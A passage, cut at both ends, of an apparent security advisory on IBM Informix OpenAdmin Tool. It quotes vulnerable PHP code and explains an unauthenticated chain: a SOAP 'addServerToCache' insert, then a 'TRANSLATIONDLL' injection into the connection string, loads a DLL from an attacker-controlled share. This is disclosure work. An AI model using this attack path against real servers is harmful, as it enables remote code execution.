class=\"crayon-s\">&#8220;INFORMIXCONTIME={$timeout}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONRETRY={$INFORMIXCONRETRY}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-14\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;informix:host={$host}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-15\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;service={$port}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-16\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;database={$dbname}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-17\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;protocol={$protocol}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-18\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;server={$serverName}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-19\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-20\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-21\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;WIN&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-22\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-23\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">get_config<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXDIR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-24\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strtoupper<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;DAR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;dylib&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;so&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-25\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-26\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-27\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-28\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-29\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-30\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-31\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">client_locale<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">strrpos<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;.UTF8&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-32\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-33\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-35\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">handlingPDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">FALSE<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-36\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-37\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-38\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PDO<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;{$dsn}&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">utf8_decode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">boom<\/span><span class=\"crayon-o\">!<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-39\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-40\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-41\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-42\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-c\">\/\/error_log(var_export ( $db-&gt;errorInfo() , true ) );<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-43\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-c\">\/\/trigger_error($e-&gt;getMessage(),E_USER_ERROR);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-44\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">parsePDOException<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-45\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;{$exception[&#8216;code&#8217;]}&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">exception<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;message&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-46\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-47\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-48\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-49\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-50\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PDO<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;{$dsn}&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-51\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-52\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-53\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-54\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0069 seconds] -->  <\/p>\n<p>At [3] a connection string is concatenated without prior sanitization, arbitrary parameters can be injected via &#8216;;&#8217;; &#8216;TRANSLATIONDLL&#8217; and other dangerous parameters can be specified.<\/p>\n<p>At [4], the resulting connection string is passed to the PDO object, causing the dll to be loaded before the authentication is performed.<\/p>\n<p><strong>Remote DLL Injection that leads to remote code execution (3)<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution. <\/p>\n<p>The specific flaw exists within two PHP scripts in OpenAdmin tool. <\/p>\n<ol>\n<li><em>MACH11Server.php<\/em> allows to insert a row into the underlying SQLite Database without prior authentication, by sending a specific SOAP request to <em>MACH11Service.php<\/em> and specifying the &#8216;<em>addServerToCache<\/em>&#8216; method.<\/li>\n<li><em>pinger.php<\/em> construct a connection string for the underlying Informix database, based on the row previously inserted. Given this it is possible to inject the &#8216;<em>TRANSLATIONDLL<\/em>&#8216; property into this connection string and to cause the Apache process to load the pointed dll from a remote network share controlled by the attacker.<\/li>\n<\/ol>\n<p>vulnerable code &#8211; <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesidsadminMACH11Server.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979854f994638509\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \tfunction addServerToCache ($group_num                                , $host                                , $port                                , $server                                 , $idsprotocol                                 , $lat                                , $lon                                , $username                                , $password                                , $cluster_id                                , $last_type )  \t{  \t\t  \t\t$password = connections::encode_password($password);  \t\t  \t\t$query = &#8220;INSERT INTO connections   &#8221;                 . &#8221;        ( group_num       &#8221;                 . &#8221;        , host            &#8221;                 . &#8221;        , port            &#8221;                 . &#8221;        , server          &#8221;                 . &#8221;        , idsprotocol     &#8221;                 . &#8221;        , lat             &#8221;                 . &#8221;        , lon             &#8221;                 . &#8221;        , username        &#8221;                 . &#8221;        , password        &#8221;                 . &#8221;        , cluster_id      &#8221;                 . &#8221;        , last_type )     &#8221;                 . &#8221; VALUES (  {$group_num}   &#8221;                 . &#8221;        , &#8216;{$host}&#8217;       &#8221;                 . &#8221;        , &#8216;{$port}&#8217;       &#8221;                 . &#8221;        , &#8216;{$server}&#8217;     &#8221;                 . &#8221;        , &#8216;{$idsprotocol}'&#8221;                 . &#8221;        ,  {$lat}         &#8221;                 . &#8221;        ,  {$lon}         &#8221;                 . &#8221;        , &#8216;{$username}&#8217;   &#8221;                 . &#8221;        , &#8216;{$password}&#8217;   &#8221;                 . &#8221;        ,  {$cluster_id}  &#8221;                 . &#8221;        ,  {$last_type} ) &#8220;;            $this-&gt;doDatabaseWork ( $query );  \t    return $this-&gt;db-&gt;lastInsertId ( );          \/\/return sqlite_last_insert_rowid ( $this-&gt;db );  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-11\">11<\/div>\n<div class=\"crayon-num 